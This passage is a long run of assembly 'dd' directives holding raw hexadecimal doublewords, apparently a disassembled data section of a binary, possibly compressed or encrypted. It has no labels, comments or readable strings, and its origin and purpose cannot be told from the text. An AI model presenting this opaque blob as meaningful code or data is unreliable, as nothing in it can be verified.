0B1E000D6h, 48D9E31Ah dd 37DED700h, 0E8B2B32h, 254001Ch, 0ECD03DD2h, 46000409h dd 47729221h, 290BC430h, 0A8E9AAh, 25326BBEh, 541771CDh dd 0B7054421h, 94A0BB16h, 55200AA0h, 84CCA438h, 0C4A378A6h dd 0B2CC0EC4h, 6A298B40h, 75003D9Bh, 421C342Dh, 2818F11h dd 5F935988h, 78724B46h, 7A077FF4h, 0DB24E507h, 2E013E10h dd 569078Ch, 5A93ED1Ah, 0EFE80FCCh, 6C3DA60h, 9E01E435h dd 2C721A13h, 85FC0AF8h, 9870F458h, 4C5C0109h, 7D311FA2h dd 0D9FED8FBh, 85003F70h, 0C56373B1h, 74966D5h, 0CE6F2EA7h dd 3634A04Fh, 7300E4F6h, 569AE8F4h, 3E286Dh, 57E92D9h dd 0A3AE54B6h, 16BF6B3Bh, 0B00C4E7h, 672A0A23h, 0B960076h dd 0B7F6E2A9h, 860036ADh, 11CBCDBEh, 3A0C9909h, 0F58F973Eh dd 9D8076DFh, 0E6B1834Bh, 0EBF36309h, 0A08C0BAh, 0B4B90170h dd 26D071FAh, 5548FC99h, 0F4C16912h, 0B540C41Ch, 0A038F2FFh dd 5A8F0084h, 29DC61EFh, 3D030BD8h, 36F19EB4h, 4074DA2Bh dd 48C5AF50h, 0BA00542Fh, 6D0217C3h, 5D017583h, 0FD634137h dd 6BFC062Bh, 977A1E45h, 17D6BDh, 7BBBD0B8h, 65003659h dd 74CC18B0h, 4B4FDC52h, 0AA5C00D3h, 413163DDh, 7D557300h dd 4A142C45h, 399FE09h, 778B7110h, 0D5F8336Eh, 0A3006950h dd 0DD1F72B7h, 16D3E25Ch, 0BB761936h, 2512E502h, 80C448BAh dd 26F9F6F0h, 5096D5h, 428560Ah, 0F6390B1Ah, 0F4B977Ch dd 5E3B8430h, 89FE1Bh, 273E47C5h, 4CBF3FB9h, 359FED05h dd 0FCA4BE9Dh, 4C70FD3h, 15E3AC0Ah, 80A72827h, 0CB3D546Ah dd 8F6DAF00h, 3F5E701h, 60970017h, 0FA7FE468h, 0DB3C5BB3h dd 76DE81E1h, 0B61ACE9h, 0AECA8F7h, 35940E64h, 78E044FFh dd 7997DAB3h, 8B392300h, 2E11468Dh, 6B6015BEh, 8A01F86Ch dd 0A1920C7Dh, 0CD5C3410h, 0F700A092h, 2B517138h, 3D24F17h dd 9F0B4F2h, 0BFB89783h, 200BD3Ah, 15798973h, 0A8CE024h dd 6A1B8571h, 50A000A0h, 0A851B325h, 0C3E21109h, 0C6CC186h dd 0EEAE4h, 4DBC8DA0h, 77E0D8B6h, 58223Ch, 0EA28F651h dd 7EB0823h, 1E921407h, 7AF8E035h, 28E6DA57h, 534E9F00h dd 0FF12BD23h, 3C4098E8h, 99815AF1h, 0F61E1789h, 0CEE63071h dd 50B95058h, 2C001FA3h, 62855BC8h, 607B1D2h, 69748470h dd 6D00602Ah, 0F2AAFE16h, 26328DE6h, 404A15h, 547BD772h dd 61007406h, 0D2E32DD6h, 98AF0262h, 16334AB8h, 0C1F6007Ch dd 52B8EF1Ch, 0AFE4FA01h, 1BD3BD89h, 9C3420h, 319F8A2Ah dd 602DFD90h, 74F148h, 3D0C7EA0h, 718744Eh, 171B9BA9h dd 68FA3098h, 130163E5h, 0A3D24A80h, 0B2FC93DDh, 23450F16h dd 0AC802EAAh, 4C113532h, 62A41403h, 0B8EF2BF3h, 3CD07Fh dd 7080574Bh, 4647ABF1h, 2FE4D800h, 95022E7Dh, 0CD1E0069h dd 2518867Eh, 0AB17BBB1h, 8009D85h, 56CE19A9h, 3C5E7366h dd 0B859BFDBh, 0ED8E11h, 1DD54664h, 4BFE66h, 1EDFE4BCh dd 1BDA89E7h, 769260C0h, 0F15B8411h, 0E3666070h, 1F8DC0F4h dd 0C00F0621h, 3986FDA6h, 8200DBD8h, 0E3501119h, 0C95144F2h dd 0D0C88F70h, 32E28008h, 0EA00A4BCh, 0F5D7F1EDh, 0A03BB0F9h dd 5E7FBB34h, 8B80007h, 0FDBCE156h, 21C17DB8h, 53F0D414h dd 32D2CD0h, 27680795h, 0E5F94B63h, 0A46C83h, 9B9A7DC9h dd 1EC320A3h, 80B54933h, 1E3A0D9Ch, 0DC0F4DD5h, 0C0BF82CDh dd 0A50A92E6h, 16750F29h, 0F5E5A96Ch, 9524C01Eh, 0F0DFF006h dd 72332C0h, 16D8C8Bh, 748FE7E9h, 3067BC14h, 193D776Ch dd 178500EBh, 505FCF59h, 1639000Dh, 0CB0E9382h, 0DF0084A9h dd 6AEFCA6Fh, 1896030h, 0B4D22D7Eh, 0D776D9BBh, 79389003h dd 0E0FD5907h, 0AAF4ECh, 28D194E6h, 44AEC4F2h, 0ACA048EEh dd 0A8B631A0h, 46D27200h, 0C4B809h, 77B6412Fh, 0D8558DD3h dd 0B03F6400h, 9D265317h, 6FD4FF5Dh, 9FF400EEh, 0F71A3BFAh dd 0D60039CAh, 0E65B8B97h, 70FCFDh, 0BAB1C05h, 50F3B21Fh dd 0F7C6CC02h, 6096ED66h, 0EAD9C504h, 2BD4FCEh, 874E7B08h dd 5BFBA843h, 1F9F59D8h, 0A6BBAF0Fh, 0D001B790h, 0D198DD83h dd 0F42EE024h, 38C90088h, 0DB8CF329h, 96049991h, 8EF9A68Ah dd 4A2CA0h, 103896Eh, 6AF35CBDh, 9446648h, 21B82D5Eh, 0E9772290h dd 0E40AAC20h, 1B4BC94h, 0CF17DFF3h, 0FE1180BDh, 715F38F0h dd 6E3D0BD1h, 0F0E064C3h, 0EB73C449h, 183CF700h, 1C0BD026h dd 5EBF0989h, 0C00EFF5h, 0C8E81FDh, 6EAE3905h, 60E06D4Eh dd 775A0275h, 5C0327BEh, 3F538080h, 810182BDh, 0C1C87FB7h dd 4ED5EA45h, 5671B887h, 0B410095Bh, 8B038A77h, 2285C601h dd 5031F8A9h, 467600D8h, 0F47BB603h, 0F80F374Ah, 0C021EC4Ch dd 7C31F653h, 701D00AFh, 0C1D1E551h, 87049409h, 2C462F92h dd 0FE9F1D80h, 5F744C1Eh, 330D3105h, 7E1C908Fh, 2E043898h dd 0B9113756h, 5E85CC90h, 5C7400D3h, 9AE34F25h, 793C16FEh dd 3AE7051Ch, 0B0C0DAA7h, 6A8F7Fh, 442739EDh, 86410D91h dd 781C4358h, 7DE791A1h, 0F7A5C0E0h, 7FD70D87h, 927300E0h dd 0C7DC3C82h, 5100F32Dh, 0D9E874FAh, 0F06FF430h, 0F5A900E0h dd 0E3652B0Ah, 8B59C3AEh, 6AA60034h, 0B2EE8625h, 0F93A00F5h dd 2994AD87h dd 7F006740h, 0B922601Dh, 0B03EC126h, 53760000h, 7E1C016Ch dd 0E800FDB1h, 27C39F21h, 164CE14Eh, 0FC146064h, 0A077007Eh dd 3C29CEF6h, 22F100A2h, 4DA19CFh, 0C51FD5F4h, 0A9805296h dd 72CBDE4h, 0C97C2Bh, 0F4FE7FE9h, 0EAAC2D90h, 0A7AB3500h dd 968A7A0Bh, 102B1612h, 97744F8Fh, 2936FEC0h, 60397B03h dd 0A8439E2Eh, 0B48E7A40h, 98B170Bh, 8C701EB1h, 47DEEB0Ch dd 9BE6E000h, 9EAF0E41h, 990A008Dh, 3E358B80h, 6C967552h dd 8942E100h, 742358CFh, 0C078EAh, 0C7B4E5Ah, 0D0DE685Bh dd 0EF89E96Eh, 0D9EA4040h, 7414932Eh, 0B98D0082h, 7596F321h dd 0C2030B2Dh, 0F198AC9h, 0DC2804C6h, 81EAE982h, 0C852E654h dd 38A08A22h, 147E8DEDh, 6F93A003h, 0D47B5660h, 3AE4A9C0h dd 79FB488Ah, 818B6212h, 0FCDC5200h, 700CCBE9h, 48A71223h dd 3CA11416h, 0D6165468h, 0CB5C4C4Eh, 41001220h, 52BCA41Eh dd 0A790A5h, 93BAD9E3h, 0FFF6D144h, 0D3DB9A00h, 0A85C4AB2h dd 5713BB4h, 2DEDD603h, 0C9B87CC3h, 0EA01C1A2h, 0F78EE8EFh dd 9860D740h, 0F51C07B3h, 0A1457924h, 0CC5E3704h, 0E40094C6h dd 6083E10Bh, 0F733096h, 502DBF1Ch, 5F369247h, 15357FA0h dd 0FC0AB958h, 0D67A41E4h, 5721003Bh, 1D33D568h, 901C0030h dd 434A2FFEh, 4700B34Dh, 1FABE9ECh, 1FADEA7Bh, 0CF184446h dd 805D45CAh, 0E2E3ED3Eh, 8F0063C7h, 0C55A6A2Fh, 3EBA944Bh dd 0EE00E64Ah, 3B69C618h, 34918951h, 1DEC8580h, 7DE5B35h dd 0E626E78h, 21F84E7Bh, 1D00F417h, 2E238EAh, 113211Ah dd 0A70B9430h, 0E4E43FF3h, 5616AA58h, 47047D65h, 0F0B8BCC2h dd 0BE0C5C0Ah, 963240CCh, 0A071CAAEh, 0C9330490h, 5560898h dd 0AE8E0921h, 0DBB1C03Ch, 8101DFECh, 0CBA09E59h, 344185EFh dd 0A0067A99h, 181A3481h, 14AE0890h, 50C4B0A1h, 0AE880B40h dd 7D00CBB4h, 63EFE4F0h, 0A787C42h, 324ADFE6h, 0F0F42F94h dd 21BB2C0Fh, 6A079745h, 0E2CC503Ah, 0E7F3A900h, 0DE4E8A12h dd 56080266h, 1D990121h, 82E146A9h, 92903061h, 0B9D9C5EEh dd 0FC1918B0h, 0A1231EAEh, 2D1140h, 0CEAE8A05h, 2039D6Ch dd 0DA38E658h, 0EC82365Ah, 10F2972h, 0BA96EBB5h, 4CB4B19Ch dd 0E4105B6Fh, 5D40D600h, 77EB9A25h, 4BFD008Eh, 0DF8D93C3h dd 0B600CB59h, 2BC919D5h, 0DC068Ch, 0E2919FD4h, 459392AFh dd 3E3AC048h, 0BA4E0066h, 0C6F7BD81h, 10050F72h, 0BBC0A308h dd 4E4454E9h, 7CA28A02h, 40A0D7F4h, 26E07Ch, 8EDBD621h dd 0B506DC87h, 1C12DA03h, 0B0D54A41h, 329A00Ah, 3A13D01h dd 97E042B7h, 88F82283h, 516AB60Eh, 0C93F8772h, 7EFB64D0h dd 395AFE23h, 8E3ABA5h, 2000B5AEh, 66FB5D6Bh, 1EBBDCAAh dd 57F1FFE0h, 0A317002Eh, 141B2AC9h, 5C3D18C4h, 90E0391Bh dd 21F20F40h, 89C82D33h, 0FB5D23Ah, 0EFB90143h, 0C9A51803h dd 38FEDBh, 7E5FB638h, 8D456431h, 0BA999E0Ch, 0C0370865h dd 31967A21h, 38009A58h, 0B1D5C23Ah, 2F86E9h, 0A90F2AD7h dd 0C4F496F6h, 0FBEA7300h, 9F6A610Bh, 0DBCD58DDh, 85932401h dd 0D4E5DA64h, 5D004C15h, 0DB12B448h, 72FA9198h, 0D2F4ECh dd 0D42CEF77h, 4EAB169Bh, 0C8B31C03h, 0EFF4225Bh, 0A009C733h dd 7E3C484h, 82FDBD86h, 0CD47020h, 26010168h, 10396324h dd 91D4D516h, 345B00C5h, 419E2B1Bh, 8E7FB7FBh, 93985607h dd 8F13B59Fh, 0B47388F9h, 705100ABh, 5978421Eh, 0AF00CE56h dd 7766957Fh, 0F0922Ah, 7175A86Ah, 0B799AA47h, 50FDD303h dd 0B0260EB6h, 1584D86h, 0F22A0B82h, 0D129F3BAh, 0FE218027h dd 82FB4D8Eh, 0CFEB0B36h, 5280DFE1h, 0AA5FADEDh, 43317407h dd 0C9C0E21Fh, 3B6330Bh, 8E0425C4h, 1000260Dh, 8490532Eh dd 0EF7797Fh, 0F631B7B3h, 0B921548Ch, 0C6905A00h, 0A8B4EEB1h dd 6CC90059h, 0FF5D96EAh, 4406639Ch, 25F98AF0h, 80E3A30h dd 0FE76830Ch, 0F0FC611h, 0C0ACC573h, 177509D2h, 65CEE8D3h dd 0C73F2032h, 0F20F106Dh, 5C0657B5h, 1B7F3E82h, 1EB0B8h dd 0ACB3A484h, 0CCF98D48h, 12D5751Dh, 93A73481h, 8085F170h dd 20853377h, 0EF73113Ch, 0D343AC79h, 35211933h, 295373D0h dd 0E9BFB900h, 54F02F56h, 64950550h, 0B98A618h, 3408A187h dd 77B800A8h, 6FE28175h, 5A615300h, 873CED07h, 5DD70002h dd 0EACD7733h, 0B0001175h, 0B440FFEFh, 48B80656h, 78097E37h dd 3080677Fh, 9A16DC0Fh, 12088607h, 75F0AABBh, 26D19Eh dd 1C66DFDDh, 896A4C40h, 0EB1F8E7Dh, 0E7409D3Eh, 42D826A7h dd 16BE005Bh, 9901DA6Ch, 0DB29B961h, 54C10496h, 43F1CA7Ah dd 1980D9F5h, 0DFAC60FBh, 9D0C3D23h, 84D5B6Dh, 8521C016h dd 0EE43AC58h, 0BC665A18h, 79A94C51h, 8174A3h, 598BFBF8h dd 2921A86h, 0EC618C1Fh, 0FCD209C0h, 3C78B3FAh, 9180CFB9h dd 0B8C92182h, 48C0DFA4h, 0AE425EC0h, 17DD1C60h, 0B02D0132h dd 0E9283E78h, 4E36E459h, 96209F60h, 0F6ABB70Dh, 820A7B9h dd 57CF28F5h, 804490FCh, 0CF7842h, 0B447FEA7h, 1A0816D5h dd 9B9C2900h, 77051FD8h, 0AB281DB7h, 984C14A4h, 63C06E88h dd 4623D0ACh, 79102255h, 4FAC009Ah, 98EB23D8h, 46020E77h dd 36164030h, 0F9080A0h, 60BEA8BAh, 8A81996Ch, 61D6019h dd 0FE8CF886h, 0CE8308ADh, 19A02C21h, 3C74A45Ah, 6E89854h dd 4D236217h, 3B7E09h, 0E92D7CD6h, 0C2BE0F9Bh, 44A3E731h dd 310CBF02h, 0B2800A43h, 2D4A3833h, 0B74A32Ch, 0BB066142h dd 5C78290Bh, 883C8C18h, 0E2727611h, 0E51301D7h, 3D0BDF4Dh dd 83A7D14Eh, 726A4F21h, 838BA0DAh, 0DED3001Bh, 5CF5E8E5h dd 80FDB63Ah, 84CA1129h, 78B20Fh, 0EFFCE583h, 8045A18Bh dd 0A09DED2Ah, 0DB090260h, 0F33A3Bh, 0A9910CDh, 0FB905F26h dd 544FD10Ah, 4674CC7Fh, 0B3160111h, 0E633AFEBh, 3997F0h dd 79778C01h, 62BC11A6h, 8A9F8A74h, 0AC1E5CDFh, 0A6004A50h dd 67C7F80h, 0F790760Eh, 0C1388C07h, 2D99636h, 0A07DBE40h dd 55C225D8h, 4E4008E5h, 0B38CA269h, 732F21ADh, 0D1345014h dd 0F3B602BEh, 191F2B08h, 63938F40h, 4AC3830Eh, 0E6ED20ABh dd 90A4D8E7h, 0B076154Ch, 3628C011h, 39C14480h, 0F13FD00h dd 27280765h, 0B7E90AD1h, 0E5BE8Bh, 738921D8h, 12502A3Ah dd 0A1FC8020h, 3D6EAC88h, 2780D15Eh, 91EB2C90h, 0C23AA666h dd 0F0BA3017h, 0F21C741h, 0BB5F2BFFh, 750AFA80h, 58C578B5h dd 92C01144h, 9AB28958h, 0BD992E14h, 0CFC0004Fh, 9F387D6Ah dd 214508CCh, 0C9D600E7h, 9871AABFh, 9B01D80Bh, 6E40BAD3h dd 0AC406792h, 48B0FA13h, 60781CE7h, 1F5DB1DFh, 0F6060170h dd 0E6D0F9C8h, 3C821020h, 19DB2699h, 807F033Ah, 0F89D7713h dd 16C5351Ah, 78DEE89h, 3A28CAE7h, 218B00F4h, 4A900947h dd 0C2F9F737h, 0E56A54E0h, 17D6167Ah, 8C5300BFh, 4D7D0BACh dd 89C23D07h, 93C5E4B3h, 6506EC4Fh, 9C02A43Eh, 2FADFFD4h dd 0A2CECD83h, 0E461802h, 2201EC4h, 0B4A05315h, 2D2BE6D4h dd 149C2728h, 1CC64220h, 609ECD54h, 0F30BA505h, 8C069450h dd 0C0C74Ch, 25BFACFFh, 0F76C9BBh, 1FD43F06h, 0C80B5AAh dd 669B804Ah, 0F2285F5Ah, 8B54ACB2h, 0F913CD94h, 0D451A2F8h dd 0D42B7BCCh, 843EE464h, 0AFC05EC9h, 0F3209162h, 0FE05C9B2h dd 5BB70BB8h, 848C8E3Ah, 0BF0E2868h, 822B42EFh, 86101CABh dd 370DAE8h, 24C66E3Ah dd 5DF8DD61h, 7483D412h, 0F09C496Eh, 8AACC29Eh, 0EF316523h dd 0AC599810h, 2900CC7Dh, 944C57E1h, 0B0BB72D0h, 0E2C1044h dd 7BE42EB2h, 89B8BA18h, 0DEC1CE42h, 9A5C9100h, 5E00F614h dd 9F7B2A5Bh, 89D24Ah, 0B3CA5977h, 634BFE80h, 663D5415h dd 0A94005E8h, 23823873h, 9E58C05Dh, 0B08F8A9Ah, 8B8388A8h dd 26DBF12Ah, 0C224DFF8h, 58553843h, 24864C6Dh, 1EA9F0C0h dd 0AB0390F2h, 9D63FA69h, 5F97C40h, 0EACA9A77h, 49848411h dd 548088C8h, 6EBDC5F8h, 0A2214890h, 408449AEh, 19D060AAh dd 0F6062362h, 3E009911h, 58EA1989h, 6D01C08Eh, 24503D02h dd 0D44EA665h, 0A1CFEC88h, 0B4153E81h, 10057C20h, 0B7083F5h dd 0F5BC106Bh, 8050D70Ah, 0B7A30902h, 300535Ah, 0DF5E36A9h dd 0BF26BAh, 0F98F8170h, 747246C4h, 6061BCA2h, 0FC7018F6h dd 151310B5h, 80AEC84Eh, 3B72684Dh, 0E800068Ah, 3C3AECC0h dd 1196692Ah, 9902C8h, 0A4C5403Eh, 1DE8D5F6h, 24F1F8h dd 8D45B623h, 41E266F0h, 0FCADB40h, 9E652680h, 0C910E220h dd 0D400061Dh, 7D5CC471h, 601E46C0h, 0BF3EB04Dh, 990041D5h dd 0ECFF9DFEh, 18E41B14h, 51B82994h, 0E7308EC0h, 0CA4530ABh dd 0A0F14844h, 19AA1686h, 5946C092h, 5BC9D002h, 4C31D7C0h dd 81A9F211h, 0AB546D9Ch, 68603A8Dh, 0EC9580D7h, 38B26188h dd 2D9C0554h, 26D46893h, 4A18CC5Ah, 80AB1128h, 66119D1h dd 0B2448CAEh, 0B078B821h, 5AC207E6h, 803FD71Eh, 25F01541h dd 6E22C501h, 999D4C1Dh, 609230BEh, 252040C6h, 7D3045F9h dd 0BB65D518h, 0F251A1h, 72A57329h, 8786AE8Ah, 5510FC90h dd 2C8CBA1Fh, 50986E81h, 0E480AB20h, 0FC6600ECh, 0C9AF7FCDh dd 0D0A35D33h, 3F005F8Ch, 5E3ABB6Eh, 1E4009B9h, 0A409BC06h dd 0CE4F0401h, 6A84248Dh, 0AC67048Ch, 0CE3523D4h, 5F9E0058h dd 3CD70AACh, 9CC10111h, 6B2D0692h, 0E2C3477h, 4B7C7903h dd 0A016808Ch, 5C423812h, 0FABC7CC9h, 0B374008Ch, 3C24C9D5h dd 9CA48929h, 182EA000h, 646F5573h, 9DA50502h, 90053213h dd 0CC598B2Ch, 5EA04805h, 885071AEh, 35B80094h, 0F63640FBh dd 0A6138699h, 0E0125833h, 0E888348Bh, 0E415FC0h, 6F9C1B1h dd 4095BFF5h, 854C2288h, 5B464CB0h, 75093C4Ch, 703187C0h dd 0ABF8104Ah, 84E600C9h, 587139FAh, 0FE024F8Bh, 1E6BEC77h dd 65B48492h, 0D884414Bh, 0EDFF4497h, 4FA28881h, 0E7062B00h dd 0E830DC4Ch, 0AC018C98h, 96C07062h, 5092873Fh, 0AE9C086Eh dd 6619D4C0h, 22D64606h, 8D3A12B6h, 9B8FC19h, 82943BD5h dd 1A9427Ch, 0BCBDE795h, 89E517F9h, 1859440h, 0C6A556h dd 9CF85B6Ch, 0A31D58BBh, 3C9550Ch, 79E4A992h, 70220121h dd 2920F285h, 66BAC4F7h, 13DABF02h, 84C8E67Dh, 4C6297ECh dd 5D236EC0h, 52CE4091h, 905E8400h, 0C390545h, 4488E333h dd 7C0019A9h, 2A25E96Eh, 7A4951h, 2DE792B0h, 0B99A1E41h dd 4B48B490h, 84CF13D8h, 0E0A08021h, 3BE860h, 1B423128h dd 8391701Eh, 0A9BEB415h, 861C0098h, 6B84675Ch, 4B1E1790h dd 5AE800D8h, 9D7D5BD1h, 83281AFAh, 9B26CC74h, 0C750B077h dd 90470321h, 0B7CB5409h, 0D850C8DDh, 0A7921F1Bh, 0E579D0A0h dd 886A4C0Dh, 0DEC0ACC8h, 46066419h, 388873E6h, 0A81939F7h dd 0FFD50B83h, 59174371h, 3456C2CCh, 93FAE804h, 99B220E3h dd 38626030h, 5E2E8EB7h, 1F03B38h, 8CFB1B3Bh, 249503F7h dd 78032404h, 2EF24B13h, 672CA8C6h, 0C4FF6CEh, 0A17FF4ECh dd 3F27DB90h, 91D03986h, 0C7A5400h, 564765Dh, 0F46CFA13h dd 96C4A800h, 0A05AD97Fh, 4F8B1CB4h, 9D1472ACh, 0D8782008h dd 0BE308CECh, 2BBE9AEh, 46390083h, 0F4A036Eh, 6402D42Ah dd 42224C2Ch, 0C724404Eh, 6D08399h, 924DA315h, 7DC902B8h dd 827723F4h, 48488808h, 4FEE54h, 0FF09867Eh, 0E435E276h dd 0D485C11Fh, 460E2017h, 0F28A4EE0h, 21C5854h, 4167FDCFh dd 40AC815Fh, 3CEE16h, 3DB1DF77h, 0C0D24693h, 0A94D4560h dd 97931400h, 0E14CA4ABh, 0AE00176h, 0F45379A7h, 0B5047474h dd 38F0B80h, 563D1F25h, 0A7C0D93Bh, 0D43C44B3h, 0C362E0Fh dd 41AD1342h, 0F0509D54h, 0E72F74h, 24858649h, 149325B3h dd 28000878h, 0C71FEA3Fh, 48BE468Fh, 8500F4ECh, 9D960789h dd 2303AA69h, 5A92177Ch, 0D437E841h, 3C801D45h, 3E900096h dd 426DFE22h, 0D8CCE8C0h, 1C7F2D4Fh, 4784F951h, 805CAFE7h dd 544DF785h, 8A7EB100h, 813A1DD9h, 1758008Ch, 0A5D20D67h dd 3B00BFA3h, 0D198E58Fh, 13F5A4Dh, 0B10C1C20h, 0E941E8FFh dd 17AD8E4h, 5F51D11Fh, 3A176600h, 3A75588h, 3E1F4A4Bh dd 30972507h, 1D7E58F9h, 0B59E39h, 68D3D127h, 5F3CE7h dd 96C5FE30h, 12C4F79Ah, 86DDB900h, 0F283AF07h, 0D7CA0EEDh dd 0BAE0634Bh, 0E7F787Ch, 0E10009EAh, 0F09F22D6h, 0FAF97B36h dd 47A70E89h, 4220CD37h, 0A336BC4h, 0A0A8F700h, 0ED9C05BEh dd 61FE01D4h, 0C073E76Eh, 28D3F77Ah, 30E5E0CFh, 0DC13337Eh dd 0DD001C02h, 0FFC4418Eh, 19230EA3h, 14207805h, 0F93F1A25h dd 0C2953D00h, 0C4012245h, 0C734002Dh, 19FD53FCh, 5AF44316h dd 0E4BBD601h, 5874AA7Fh, 77EF4F0h, 3D414F85h, 2E380035h dd 0CA001AE4h, 653EE4Eh, 604FCE27h, 8C89E97Fh, 0B215E674h dd 0E8D050h, 0DB9194B0h, 60971Eh, 1FB198FCh, 8756076Ah dd 5F806400h, 5EE1AAA5h, 96D7588Fh, 8C164107h, 8B7650A6h dd 13008E1Dh, 0A994703Fh, 1515C80h, 722B0D1Eh, 0C43A8B21h dd 20005407h, 256321Dh, 0E60303Bh, 0E4290934h, 16000C2Eh dd 0F49B2372h, 664B6B00h, 3057B1Ah, 0D80103D5h, 83BF42A6h dd 0D2E9CDC0h, 37FEE800h, 0E3769198h, 52AF0094h, 0F08346D4h dd 0B500DCFFh, 0B21D6EA9h, 382AE76h, 4552C012h, 0F807D502h dd 6C900722h, 7B741B10h, 791F007Fh, 61173C78h, 0CC983772h dd 66396B00h, 70C3E1D8h, 7C3B1D88h, 0F85441C7h, 0C0F4928Ch dd 0B2001107h, 0BE1BD38h, 0E5FE8Eh, 48E4A374h, 0F0976AF9h dd 0E3CCA900h, 0E60E9158h, 43EB0072h, 0A8429AF3h, 0B315FCA4h dd 1C8509Ch, 0BD64A77Ch, 0E3601FCFh, 661C0037h, 46D443Fh dd 0B5001B18h, 8B39A072h, 0D7F042h, 3E29D54h, 854AA33Eh dd 1222B39h, 3F24328Dh, 77D006D1h, 50C73CF8h, 7B4A4F04h dd 9D908882h, 56FFF300h, 0A3DEEE11h, 18D790DBh, 0E0022397h dd 0B47DDDA9h, 0C64AE300h, 8F0F76D8h, 0B35A0014h, 0FDF77510h dd 9B00E7FFh, 0B65B1FAAh, 0E43EA3h, 4593B0A7h, 0D373144Ch dd 86FFF100h, 7DFD6F9Ch, 52CF06EEh, 0F885641Ah, 731406FEh dd 0FC7804h, 2FBB777Ch, 0AC69D3h, 330B2A05h, 0EE6B865Eh dd 57FA020Fh, 16D8E003h, 90C434B8h, 0E0FB00D0h, 29CDC0CBh dd 7300A54Ch, 0E64891D5h, 1A1570Fh, 2575FD80h, 3086EE89h dd 0BAF884F0h, 0E1615B00h, 0ED9240C6h, 484D007Ah, 5346CEABh dd 0BC00E50Ch, 25375A17h, 0D1D477h, 4E9763C5h, 0DA10AA35h dd 0E450C660h, 1F53D74Bh, 80D539CCh, 72B0C2D4h, 0DAF0DDEDh dd 0BBEC175Bh, 0FF269900h, 3BA5A1A9h, 0E2475800h, 3D894213h dd 6280123h, 8B9C4914h, 0F3B8D7AFh, 1A02DEA9h, 0EBB15BD7h dd 9E9880DFh, 1229549h, 43798130h, 30B93DA0h, 3E01B0F9h dd 127646D9h, 0F7E8676Ah, 0ED8A00ABh, 0A18C0529h, 0FE022EBEh dd 0E8D5D403h, 19BFE0C0h dd 826201F2h, 1783925Bh, 6D86E0A3h, 13227500h, 0B1639FA4h dd 3A420311h, 8773560Fh, 0B599F5B0h, 4961A700h, 855C5A3Eh dd 532201B2h, 1D140F05h, 0D359DC6Fh, 6771AD01h, 0DCCC4C0h dd 336DCFCh, 0E8CEEB6Ch, 21C0E2CDh, 8A6F3049h, 0D55564E8h dd 8B4A001Dh, 9AD02A24h, 770FA273h, 3379BAB4h, 0C2CE7407h dd 4FA3BF77h, 78100119h, 57C9BBE7h, 0A763D4DDh, 788304Ch dd 809D0E01h, 0CBC0EA75h, 39302C4h, 8F79B454h, 9807419h dd 1C2CB051h, 0B6006C2Eh, 0DFD01FAEh, 0FC5D00A5h, 62573A4h dd 0B8A04253h, 0DA013A36h, 668CAE6Fh, 0E8300CABh, 318906Ah dd 8623F121h, 77884869h, 82F60A02h, 0FDF43800h, 9BA89C16h dd 1813C9Fh, 3CE24380h, 86BD6D39h, 80E12239h, 8AA8A349h dd 531C85h, 82109830h, 6CD78406h, 0E5604898h, 0ADB8C828h dd 0C5D803D1h, 0EE2A8A95h, 5E6CC08Fh, 65264A39h, 0C028BBCEh dd 104CB006h, 718CD8C7h, 9D73B60h, 0FC18530Ch, 0D207ED39h dd 836E0238h, 77E33500h, 2E820E7Ah, 73C05E3Dh, 0A2B9D715h dd 5BF59200h, 0C7075DC4h, 0C9A90029h, 0A1EF503Ch, 5100AAF3h dd 0BB1D3B2Ah, 576FC06h, 0ECE27D19h, 0D465C152h, 0DC14C49Eh dd 4264E50Fh, 0BF84C07Ch, 0E220FAFh, 65583CE6h, 0A1D79180h dd 5B0178C5h, 43C9D54Eh, 0DF206419h, 34A20230h, 0D7F3BFE7h dd 7976A580h, 1200061Eh, 7717B489h, 4C5966h, 0A59F50BFh dd 0DB6BC3F7h, 0D95B911Fh, 0F03C5D00h, 9C2A996h, 55B3049Fh dd 49016A0Bh, 0C4EC5AD8h, 18006447h, 1B15A7D0h, 0F85E22E8h dd 4E590021h, 0B8F08F0Ah, 10038B37h, 0FA8D0D95h, 26C0C86Eh dd 7B8A1EFCh, 0DFC9C3C2h, 53D07750h, 7F0044C7h, 4AC1F321h dd 0DDD56Ch, 0EE7E2AC8h, 0D789925Ah, 8B4D5801h, 3108A1F2h dd 1E1EBFF4h, 89454E2Dh, 50003EF5h, 825AE64Fh, 0EE889400h dd 0C6908CD5h, 0A3A4247Dh, 1C2E3947h, 0B9698554h, 671C9172h dd 75CEF882h, 0A104AC00h, 30ED029h, 0D7A90924h, 0BC02AB60h dd 0AA81E0ECh, 874E33BCh, 81F2C810h, 704D62CEh, 12DC686Bh dd 0B1DA00FBh, 0B0AA393Bh, 752838B3h, 0EC00105Ah, 33A7F3D8h dd 192E12h, 6D4FAB9h, 86303821h, 0E86E4700h, 0F35C7F2Fh dd 0D9123A13h, 29683303h, 0E90E3784h, 60F0DAAEh, 34DFD461h dd 8D250ABh, 0D6FC1B47h, 11F8A095h, 2960D999h, 0ABBEA890h dd 273E00D8h, 0C24FFE1Eh, 9B00B1A3h, 8547483Fh, 14D2310h dd 8D8B0316h, 309673CCh, 563F2104h, 0BEDD00DCh, 0F4D8E41Ah dd 28630002h, 0C407679h, 0DB002185h, 5F326EBDh, 0DA37FCh dd 0FCF9AFEh, 3546E6C8h, 42E3EC00h, 0E5CCF5C7h, 0F90A01CAh dd 0BE527A2Ch, 87B6C433h, 0AA782E00h, 64DEAFF3h, 26C428B1h dd 44B0092h, 25F942Dh, 56000889h, 10E5C1Dh, 4176DAh, 4722E1E8h dd 353CA3A2h, 9DD45D05h, 0BC409257h, 840C169Fh, 0A82850ECh dd 81862E4h, 0AC68D4D7h, 0C7000C2Fh, 21956553h, 4843FAh dd 5E8DCC3Bh, 3DCE7847h, 566159C4h, 0C80CAA30h, 1108E323h dd 232100AEh, 451ACF0Ch, 0E43A17DBh, 56C4ED9h, 53BE3E03h dd 68000CDBh, 857ED39Bh, 0B1A8AFh, 21BC7BEEh, 1072AD84h dd 50F3400Ch, 0E7F597Eh, 0DFEA8573h, 0ADB34160h, 0D004F7E7h dd 3157287Eh, 680D1490h, 0B0A80099h, 0AFD23873h, 0C2E8392Bh dd 0F24F68C0h, 79C9947h, 13194B18h, 0ED54022Dh, 2B59D501h dd 0F8294998h, 7400AF48h, 0FA353EE0h, 90623A94h, 5BCB01F4h dd 0F9920D41h, 0EE93C0EDh, 505A3627h, 13A07568h, 948EB7h dd 9BC4F135h, 452EB50Ch, 0E80FACDAh, 1706A007h, 0B17DE1h dd 0CFBB6A1Eh, 0ED16DEDh, 43FE0B04h, 1CC0381Bh, 